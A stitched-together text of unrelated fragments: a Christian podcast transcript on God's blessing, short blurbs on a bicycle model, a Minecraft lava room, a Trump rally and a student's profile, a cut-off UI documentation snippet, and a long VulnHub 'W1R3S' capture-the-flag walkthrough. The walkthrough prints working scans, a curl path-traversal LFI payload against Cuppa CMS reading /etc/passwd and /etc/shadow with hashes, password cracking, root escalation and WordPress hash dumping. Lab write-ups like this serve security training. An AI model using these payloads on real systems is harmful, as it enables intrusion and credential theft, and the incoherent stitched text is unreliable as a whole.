thought. I have a hard time understanding why God wants to bless me. I know on days where I
behave terribly that I'm astonished that God is so relentlessly kind. King David, who was thoroughly
blessed by God, had a problem understanding why God wanted to bless him. And he was just like,
God, you've given me so much and now you're going to give me even more.
I think part of the journey that we've been on is reconciling our hearts with the fact
that God wants to bless us and that it's not grubby to agree with that statement.
And I don't know if it's shame.
What do you think it is?
Is it poverty?
What is it that keeps us feeling uncomfortable with God wanting to bless us?
might be shame, it might be just general unworthiness.
Lots of us are taught from,
if we've grown up in the church
that basically we're a worm, safe by grace,
and not quite those words, but you know what I mean?
And so it feels like to expect God's blessing
or even hope for God's blessing is maybe a bit much
'cause after all, you're just a sinner, you're just a worm.
you know, we're actually God's love for us is so much greater than that.
Right.
So I think some of it is actually not actually understanding who God is in the
first place.
I was reading earlier in my Bible and I came across some 119 verse 58 says,
with all my heart, I want your blessings, be merciful as you promised.
And I, I notice a shift in my heart from, you know, this kind of, not ambivalent,
But like, I want to be so holy that I don't want to ask for blessing because that somehow
is, you know, tarnishing to the purity of my, you know, character.
But then I see in the Psalms, David just said, no, I want your blessing.
And that coupled with the fact that God does want to bless me has been the mind shift that
I've had where I'm like, okay, God, you say you want to bless me.
Blessing isn't bad.
Therefore, I'm going to look for it and I'm going to ask for it and I'm going to expect
it.
And I'm not meaning to say that people who aren't blessed aren't doing the right thing.
That's not what I'm saying at all.
And I think it's really prone to error to think that way.
Like I see that whenever we teach on healing and we'll teach on healing and we'll demonstrate
healing and we'll make a statement like, God's will to heal.
And I want you to understand that God wants to heal because if you don't believe that
God wants to heal, how can we pray with any expectation that God will heal?
Right.
And rather than going, yeah, that's great.
I see that in the Bible, people will go, "Yeah, well, if God did want to heal, why are so many people not healed?"
And I'm like, "That is faulty reasoning."
We can't say, we can't question Scripture based on our perceived lack of understanding of what God is doing.
Right.
And so I see that all the time.
And so I see the people who stay stuck like that rarely see people get healed.
But the people who are like, I don't know the answer to that question, but I do know I'm more confident in the fact that God wants to heal than I am confident in the answer to that question.
They see tons of healing happen.
Cool.
Oh, bless you.
I am. I realize I'm fading. I have sandy eyes.
All right. Let me leave you with a final verse. Hebrew 6, 14.
The Lord says, I will certainly bless you.
I noticed that we often do a dance when we go for dinner and so hand i want you to imagine that agent i just taking up for dinner we're eating dinner.
You're in town and we are having some amazing tacos and the bill comes and i grab the bill say no i want to pay for it.

See, because the desire is on our site to bless,
but I find some people don't want to let us pay for dinner.
- Yeah, they fight if I... - It's embarrassing for them,
or they feel awkward.
And that's the kind of challenge,
that's the dance that I've had to do with God.
But in summary, the reason we are blessed is because of who God is.
It's got nothing to do with us, it's his nature.
- Yeah. - But another reason we are blessed
is so that we can become like him and bless others.
So we are actually the answer to the question that you you you ask, like, how can I be blessed when all these other people don't have blessing?
The wrong that I think that's the wrong way of looking at it.
I think how can I not be blessed by God so that I can help solve those problems?
Like I think God wants to bless us so that we can be a resource to bless other people.
Absolutely.
Bill Johnson, I heard a great sermon.
He said, "If we don't have a theology of blessing, we condemn the poor to poverty."
Wow.
I know.
It's just the bill being bill.
So Hannah, I'm sorry, that's a very, very fast treatment.
It is a brilliant question.
And I love that you asked and I hope our musings helped you somewhat.
All right, baby, you're dry, itchy eyes.
I can see.
Let's wrap this thing up when we're going to go bad.
They're sandy eyes.
What did I say?
Itchy.
I would imagine if sanders in your eyes would be quite itchy.

So coming up this weekend, we have the Heaven Declares Conference
with Lafe Hetland and Jamie Galloway, and then with Andy Squires leading worship.
So we're super excited about that, and it starts on Thursday night. So it's Thursday night,
Friday night and then all day Saturday and you can head on over to
at gracecenter.us for all the information about that.
And if you don't live here you can live stream the whole event
or and watch it and join with us. Yeah live stream and if you don't live here
for sure. All right thank you so much for tuning in.
We love hearing from you. If you'd like to give us any feedback go to
allen and ag.com/feedback. If you'd like to ask us a question go to allen
and ag.com/ask and if you'd like to leave us for a
It helps us greatly go to<EMAIL_ADDRESS>


Overview → This article explains the Kinematic Bicycle Model from scratch and goes through implementing the mechanism in C++.
→
Pruthvi Sanghavi, No Rights Reserved 😉


Special Maze Challenge, Traverse Lava
This room will be a room filled with lava
The only way across will be if the player is wearing a special armor boot named "ICE BOOTS"
First we should place a "Beware of Lava" sign next to the door:
Next we need to fill the room with lava when the player is in the doorway
This code will execute a server fill command when the player is at a specific location
Next we need to change all lava to ice when the player is wearing boots with the custom name: "ICE BOOTS"


Watch Live: Donald Trump Hosts MAGA Rally in Kentucky | Breitbart
President Donald Trump will host a campaign rally in Kentucky on Monday night.
by Charlie SpieringTrump is scheduled to speak 7:00 p.m EST.
The president is working to boost Republican Kentucky Governor Matt Bevin who faces a close election on Tuesday.
Video courtesy of Right Side Broadcasting Network.


NOTE THAT YOU CAN USE THE LINKS FOR MORE INFORMATION
My name is Mahmoud Khader,i'm 26 years old , i live in Amman/Jordan and now i'm studying programming in LTUS (ASAC) and i hope to be a good programmer and my fav clor is red
My Work Experiance:
- 1. Beam Co. as a site civil engineer 1/2019-1/2020
- 2. Arena Space Hotle as a Cashier and accountant 8/2013-1/2014
- 3. Sameh Mall as a Cashier
My Edication:
- 1. Bachelor Degree in Civil engineering from Al-Balqa Applied University
- 2. Diploma Degree in Civil Engineering From Wadi Al Seer College
My top 10 Video Games :
- Dota2
- Wourld of warcarft (WOW)
- Monster Hunter World
- Assasin's Creed
- Darksiders
- Hearthstone
- Call of Duty
- Counter Strike CSGO
- Overwatch
- Warcraft 3


---
layout: post
title: "W1R3S: 1.0.1"
date: 2019-05-23 22:25:16 +0000
author: Larry Brown
category: Walkthroughs
tags: [vulnhub, vsftpd, cuppa cms, lfi, shadow, john, sudo, .bash_history, wordpress, wpscan, burp suite]
---
Hostname: W1R3S
IP Address: <IP_ADDRESS>
Information Gathering/Recon
The IP address is obtained via DHCP at boot. In my case, the IP is <IP_ADDRESS>.
Service Enumeration/Scanning
root@kali:~/Walkthroughs/w1r3s# nmap -Pn -sT -sV -A --script=default,banner -oA w1r3s -p- <IP_ADDRESS>
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-23 10:40 CDT
Nmap scan report for W1R3S.homenet.dom (<IP_ADDRESS>)
Host is up (0.0018s latency).
Not shown: 55528 filtered ports, 10003 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
|_banner: 220 Welcome to W1R3S.inc FTP service.
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 content
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 docs
|_drwxr-xr-x 2 ftp ftp 4096 Jan 28 2018 new-employees
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:<IP_ADDRESS>
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
|_banner: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
| ssh-hostkey:
| 2048 07:e3:5a:5c:c8:18:65:b0:5f:6e:f7:75:c7:7e:11:e0 (RSA)
| 256 03:ab:9a:ed:0c:9b:32:26:44:13:ad:b0:b0:96:c3:1e (ECDSA)
|_ 256 3d:6d:d2:4b:46:e8:c9:a3:49:e0:93:56:22:2e:e3:54 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3306/tcp open mysql MySQL (unauthorized)
| banner: I\x00\x00\x00\xFFj\x04Host 'kali.homenet.dom' is not allowed to
|_ connect to this MySQL server
MAC Address: 00:0C:29:AA:7F:FC (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11
Network Distance: 1 hop
Service Info: Host: W1R3S.inc; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 1.82 ms W1R3S.homenet.dom (<IP_ADDRESS>)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.31 seconds
Gaining Access
Checking on the software returned by nmap:
-
vsFTPd 3.0.3 - no known vulnerabilities, but it does allow anonymous access
-
OpenSSH 7.2p2 - common username enumeration issues
-
Apache/2.4.18 - no remote issues we can use
Let's start by taking a look at the files available on the FTP server. We'll use wget to pull everything down.
root@kali:~/Walkthroughs/w1r3s/ftp# wget --no-passive -m --user=anonymous --password= ftp://<IP_ADDRESS>
--2019-05-23 10:48:08-- ftp://<IP_ADDRESS>/
=> '<IP_ADDRESS>/.listing'
Connecting to <IP_ADDRESS>:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done. ==> PWD ... done.
==> TYPE I ... done. ==> CWD not needed.
==> PORT ... done. ==> LIST ... done.
[...snip...]
FINISHED --2019-05-23 10:48:08--
Total wall clock time: 0.1s
Downloaded: 9 files, 2.0K in 0.03s (69.2 KB/s)
We were able to download 5 files from the service (located in 3 different folders).
root@kali:~/Walkthroughs/w1r3s/ftp/<IP_ADDRESS># ls -laF *
content:
-rw-r--r-- 1 root root 29 Jan 23 2018 01.txt
-rw-r--r-- 1 root root 165 Jan 23 2018 02.txt
-rw-r--r-- 1 root root 582 Jan 23 2018 03.txt
docs:
-rw-r--r-- 1 root root 138 Jan 23 2018 worktodo.txt
new-employees:
-rw-r--r-- 1 root root 155 Jan 28 2018 employee-names.txt
File 01.txt contains the following...
root@kali:~/Walkthroughs/w1r3s/ftp/<IP_ADDRESS>/content# cat 01.txt
New FTP Server For W1R3S.inc
File 02.txt contains the following...
root@kali:~/Walkthroughs/w1r3s/ftp/<IP_ADDRESS>/content# cat 02.txt
#
#
#
#
#
#
#
#
01ec2d8fc11c493b25029fb1f47f39ce
#
#
#
#
#
#
#
#
#
#
#
#
#
SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
############################################
01ec2d8fc11c493b25029fb1f47f39ce MD5 This[space]is[space]not[space]a[space]password
Using base64 to decode the base64 string, we get...
root@kali:~/Walkthroughs/w1r3s/ftp/<IP_ADDRESS>/content# echo "SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==" | base64 -d
It is easy, but not that easy..
File 03.txt contains some fancy ASCII art...
root@kali:~/Walkthroughs/w1r3s/ftp/<IP_ADDRESS>/content# cat 03.txt
___________.__ __ __ ______________________ _________ .__
\__ ___/| |__ ____ / \ / \/_ \______ \_____ \ / _____/ |__| ____ ____
| | | | \_/ __ \ \ \/\/ / | || _/ _(__ < \_____ \ | |/ \_/ ___\
| | | Y \ ___/ \ / | || | \/ \/ \ | | | \ \___
|____| |___| /\___ > \__/\ / |___||____|_ /______ /_______ / /\ |__|___| /\___ >
\/ \/ \/ \/ \/ \/ \/ \/ \/
File worktodo.txt contains the following...
root@kali:~/Walkthroughs/w1r3s/ftp/<IP_ADDRESS>/docs# cat worktodo.txt
ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡
....punoɹɐ ƃuıʎɐןd doʇs 'op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ
The first line is a little difficult to read, but says "I don't think this is the way to root!"
The employee-names.txt file contains the following...
root@kali:~/Walkthroughs/w1r3s/ftp/<IP_ADDRESS>/new-employees# cat employee-names.txt
The W1R3S.inc employee list
Naomi.W - Manager
Hector.A - IT Dept
Joseph.G - Web Design
Albert.O - Web Design
Gina.L - Inventory
Rico.D - Human Resources
Well, we learned a little bit, but not much. Now let's see what we can find out about the HTTP service on TCP port 80.
Checking the default site using curl, we have the Apache2 Ubuntu Default Page. There isn't a robots.txt file, so no hints there. Let's see what we can find with nikto.
root@kali:~/Walkthroughs/w1r3s# nikto -h http://<IP_ADDRESS>
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: <IP_ADDRESS>
+ Target Hostname: <IP_ADDRESS>
+ Target Port: 80
+ Start Time: 2019-05-23 11:22:12 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME t
ype
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 2c39, size: 56376a7d098fc, mtime: gzip
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST
+ Cookie country created without the httponly flag
+ Cookie language created without the httponly flag
+ Cookie PHPSESSID created without the httponly flag
+ Cookie administrator_path created without the httponly flag
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7915 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time: 2019-05-23 11:23:21 (GMT-5) (69 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Still not much. Let's start brute forcing directories. We'll use wfuzz to see what might be hiding on the server.
root@kali:~/Walkthroughs/w1r3s# wfuzz -z file,/usr/share/dirb/wordlists/big.txt -t 30 --hc 404 http://<IP_ADDRESS>/FUZZ
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer *
********************************************************
Target: http://<IP_ADDRESS>/FUZZ
Total requests: 20469
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000015: C=403 11 L 32 W 296 Ch ".htaccess"
000016: C=403 11 L 32 W 296 Ch ".htpasswd"
001896: C=301 9 L 28 W 320 Ch "administrator"
010028: C=301 9 L 28 W 317 Ch "javascript"
016215: C=403 11 L 32 W 300 Ch "server-status"
019909: C=301 9 L 28 W 316 Ch "wordpress"
Total time: 29.27127
Processed Requests: 20469
Filtered Requests: 20463
Requests/sec.: 699.2862
Nice! We are finally getting something.
Checking the exploit database, we have one entry for "Cuppa CMS".
Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion | exploits/php/webapps/25971.txt
Reading through the exploit, it looks like the alertConfigField.php file calls include with an attacker controlled variable.
<?php include($_REQUEST["urlConfig"]); ?>
The exploit also has a link to the Cuppa CMS
source code. I'll download it to see what's actually happening.
root@kali:~/Walkthroughs/w1r3s/cuppa/administrator/alerts# cat alertConfigField.php
<?php
include_once(realpath(__DIR__ . '/..')."/classes/Cuppa.php");
$cuppa = Cuppa::getInstance();
$language = $cuppa->language->load();
?>
[...snip...]

<?php echo $language->fields_configuration ?>: <?php echo @$cuppa->POST("field"); ?>

<?php include "../components/table_manager/fields/config/".@$cuppa->POST("urlConfig"); ?>

OK. Looks like things are a little more complex than the exploit let on. I'll use curl to make a POST request and see if we can get the LFI to work.
root@kali:~/Walkthroughs/w1r3s# curl -d "field=test&urlConfig=../../../../../../../../../../../../etc/passwd" http://<IP_ADDRESS>/administrator/alerts
/alertConfigField.php
[...snip...]

Configuration: test

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
w1r3s:x:1000:1000:w1r3s,,,:/home/w1r3s:/bin/bash
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:122:129:ftp daemon,,,:/srv/ftp:/bin/false
mysql:x:123:130:MySQL Server,,,:/nonexistent:/bin/false

Nice! Looks like it worked. Checking a few other "high value" files and, amazingly, we are also able to read /etc/shadow.
[...snip...]
root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7:::
daemon:*:17379:0:99999:7:::
bin:*:17379:0:99999:7:::
sys:*:17379:0:99999:7:::
sync:*:17379:0:99999:7:::
games:*:17379:0:99999:7:::
man:*:17379:0:99999:7:::
lp:*:17379:0:99999:7:::
mail:*:17379:0:99999:7:::
news:*:17379:0:99999:7:::
uucp:*:17379:0:99999:7:::
proxy:*:17379:0:99999:7:::
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
backup:*:17379:0:99999:7:::
list:*:17379:0:99999:7:::
irc:*:17379:0:99999:7:::
gnats:*:17379:0:99999:7:::
nobody:*:17379:0:99999:7:::
systemd-timesync:*:17379:0:99999:7:::
systemd-network:*:17379:0:99999:7:::
systemd-resolve:*:17379:0:99999:7:::
systemd-bus-proxy:*:17379:0:99999:7:::
syslog:*:17379:0:99999:7:::
_apt:*:17379:0:99999:7:::
messagebus:*:17379:0:99999:7:::
uuidd:*:17379:0:99999:7:::
lightdm:*:17379:0:99999:7:::
whoopsie:*:17379:0:99999:7:::
avahi-autoipd:*:17379:0:99999:7:::
avahi:*:17379:0:99999:7:::
dnsmasq:*:17379:0:99999:7:::
colord:*:17379:0:99999:7:::
colord:*:17379:0:99999:7:::
speech-dispatcher:!:17379:0:99999:7:::
hplip:*:17379:0:99999:7:::
kernoops:*:17379:0:99999:7:::
pulse:*:17379:0:99999:7:::
rtkit:*:17379:0:99999:7:::
saned:*:17379:0:99999:7:::
usbmux:*:17379:0:99999:7:::
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::
sshd:*:17554:0:99999:7:::
ftp:*:17554:0:99999:7:::
mysql:!:17554:0:99999:7:::
[...snip...]
Let's run john's unshadow on the two files and see if we can crack any of the accounts.
root@kali:~/Walkthroughs/w1r3s# unshadow ./passwd ./shadow > crackme
root@kali:~/Walkthroughs/w1r3s# john crackme
[...snip...]
www-data (www-data)
computer (w1r3s)
[...snip...]
We were able to crack the w1r3s user account. Let's see if we can SSH into the server with this account.
root@kali:~/Walkthroughs/w1r3s# ssh<EMAIL_ADDRESS>----------------------
Think this is the way?
----------------------
Well,........possibly.
----------------------
<EMAIL_ADDRESS>password:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.13.0-36-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
237 packages can be updated.
11 updates are security updates.
New release '18.04.2 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
*** System restart required ***
.....You made it huh?....
Last login: Thu May 23 13:34:52 2019 from <IP_ADDRESS>
w1r3s@W1R3S:~$ id
uid=1000(w1r3s) gid=1000(w1r3s) groups=1000(w1r3s),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
We are in! 😄
Maintaining Access
Skipping this step since we have direct SSH access. In a "live" scenario, we'd still need to ensure a way back in just in case SSH gets locked down.
Privilege Escalation
We noticed that sudo was listed in our groups (in the id command above), so the first thing we try is 'sudo -l'.
w1r3s@W1R3S:~$ sudo -l
[sudo] password for w1r3s:
Matching Defaults entries for w1r3s on W1R3S.homenet.dom:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User w1r3s may run the following commands on W1R3S.homenet.dom:
(ALL : ALL) ALL
ALL! REALLY! Wow!  --'' Q ___________@
|''' ._ _______________=---------"""""""
| ..--''| l L |_l |
| ..--'' . /-___j ' '
| ..--'' / , ' '
|--'' / ` \
L__' \ -
- '-.
'. /
'-./
----------------------------------------------------------------------------------------
YOU HAVE COMPLETED THE
__ __ ______________________ _________
/ \ / \/_ \______ \_____ \ / _____/
\ \/\/ / | || _/ _(__ < \_____ \
\ / | || | \/ \/ \
\__/\ / |___||____|_ /______ /_______ /.INC
\/ \/ \/ \/ CHALLENGE, V 1.0
----------------------------------------------------------------------------------------
CREATED BY SpecterWires
----------------------------------------------------------------------------------------
Pivoting
N/A
Clean Up
N/A
Additional Info
.bash_history
Digging through the .bash_history file in /root, we were able to find the mysql password for the 'root' user.
mysql -u root -p Iamroot!
Let's see what we can find in the database.
root@W1R3S:/root# mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 157135
Server version: 5.7.26-0ubuntu<IP_ADDRESS> (Ubuntu)
Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| Cuppa |
| cuppa |
| cuppacms |
| mysql |
| performance_schema |
| sys |
| wordpress |
+--------------------+
8 rows in set (0.16 sec)
[...snip...]
mysql> select ID,user_login,user_pass from wp_users;
+----+------------+------------------------------------+
| ID | user_login | user_pass |
+----+------------+------------------------------------+
| 1 | Admin | $P$BwcIGXVnzH.PDrNs1uu4z7mYmq.hcV0 |
| 2 | Joseph.G | $P$BDQUOdjokgLpC2OGE8DkEeVXJQQU/p1 |
+----+------------+------------------------------------+
2 rows in set (0.00 sec)
Using john, we were able to crack the Joseph.G account password.
For future reference, the following wordlists contained this password (if I would have only used them!)
root@kali:/usr/share/seclists/Passwords# grep -ri 'travelers' * | cut -d ':' -f 1 | sort -u | xargs ls -lSh
-rw-r--r-- 1 root root 52M May 8 06:22 xato-net-10-million-passwords.txt
-rw-r--r-- 1 root root 40M May 8 06:22 openwall.net-all.txt
-rw-r--r-- 1 root root 32M May 8 06:22 Leaked-Databases/alleged-gmail-passwords.txt
-rw-r--r-- 1 root root 31M May 8 06:22 Leaked-Databases/md5decryptor.uk.txt
-rw-r--r-- 1 root root 15M May 8 06:22 bt4-password.txt
-rw-r--r-- 1 root root 15M May 8 06:22 darkc0de.txt
-rw-r--r-- 1 root root 9.2M May 8 06:22 xato-net-10-million-passwords-1000000.txt
-rw-r--r-- 1 root root 8.2M May 8 06:22 Common-Credentials/10-million-password-list-top-1000000.txt
-rw-r--r-- 1 root root 6.7M May 8 06:22 xato-net-10-million-passwords-dup.txt
-rw-r--r-- 1 root root 3.9M May 8 06:22 Leaked-Databases/honeynet-withcount.txt
-rw-r--r-- 1 root root 3.5M May 8 06:22 Leaked-Databases/Ashley-Madison.txt
-rw-r--r-- 1 root root 2.8M May 8 06:22 Leaked-Databases/honeynet2.txt
-rw-r--r-- 1 root root 2.0M May 8 06:22 Leaked-Databases/honeynet.txt
Logging into the WordPress site with Joseph's credentials, we see that he is an admin.
If we didn't already have root, we could probably get a reverse shell by uploading a malicious plugin or dropping our PHP code in a template page.
Cuppa CMS
I'm guessing the Cuppa CMS site was only available to provide us a LFI vulnerability. However, I went ahead and messed with the installation. Clicking Next after the initial installation page takes us to a database setup page.
Before I had valid database credentials, I tried to get the site up and working by having it create its database on my attacking machine.
This allowed it to complete the database setup successfully, but permissions on the installation directory prevented it from being removed...
root@W1R3S:/var/www/html/administrator# ls -l
[...snip...]
drwxr-xr-x 3 root root 4096 Dec 16 2017 installation
[...snip...]
...so the setup could not complete.
WordPress
Trying to connect to /wordpress redirects us to
http://localhost/wordpress/, which fails (of course). Going directly to
http://<IP_ADDRESS>/wordpress/index.php works, but lots of content fails to load (due to the localhost issue). We'll set up Burp Suite to proxy our traffic and change any references to localhost or <IP_ADDRESS> in the response body/header to our victim's IP (<IP_ADDRESS>).
Using wpscan (running through the proxy) we are able to enumerate some of the site users.
root@kali:~/Walkthroughs/w1r3s# wpscan --url "http://<IP_ADDRESS>/wordpress" --proxy http://<IP_ADDRESS>:8080 --wp-content-dir "http://10.183.0
> .197/wordpress/wp-content" -e u1-50
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.5.3
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________
[+] URL: http://<IP_ADDRESS>/wordpress/
[+] Started: Thu May 23 17:22:01 2019
Interesting Finding(s):
[+] http://<IP_ADDRESS>/wordpress/
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] http://<IP_ADDRESS>/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] http://<IP_ADDRESS>/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] http://10.183.0%0A.197/wordpress/wp-content/backup-db/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 70%
| Reference: https://github.com/wpscanteam/wpscan/issues/422
[+] This site has 'Must Use Plugins': http://10.183.0%0A.197/wordpress/wp-content/mu-plugins/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 80%
| Reference: http://codex.wordpress.org/Must_Use_Plugins
[+] http://<IP_ADDRESS>/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.9.10 identified (Latest, released on 2019-03-13).
| Detected By: Atom Generator (Aggressive Detection)
| - http://<IP_ADDRESS>/wordpress/index.php/feed/atom/, <generator uri="https://wordpress.org/" version="4.9.10">WordPress</generator>
| Confirmed By: Opml Generator (Aggressive Detection)
| - http://<IP_ADDRESS>/wordpress/wp-links-opml.php, Match: 'generator="WordPress/4.9.10"'
[i] The main theme could not be detected.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:01 <========================================================================> (50 / 50) 100.00% Time: 00:00:01
[i] User(s) Identified:
[+] joseph-g
| Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
[+] admin
| Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
NOTE: I also tried several of the other employee names (as identified in the employee-names.txt), but none came back as valid.
NOTE: Turns out the username for joseph is actually joseph.g.


Notifications can be invoked using showNotification()
method of the Frame
interface. This
interface is implemented by screen controlllers, so this method can be used directly in the controller code.
showNotification()
method takes the following parameters:
caption
- notification text.
In case of HTML-type (see below), you can format message text using
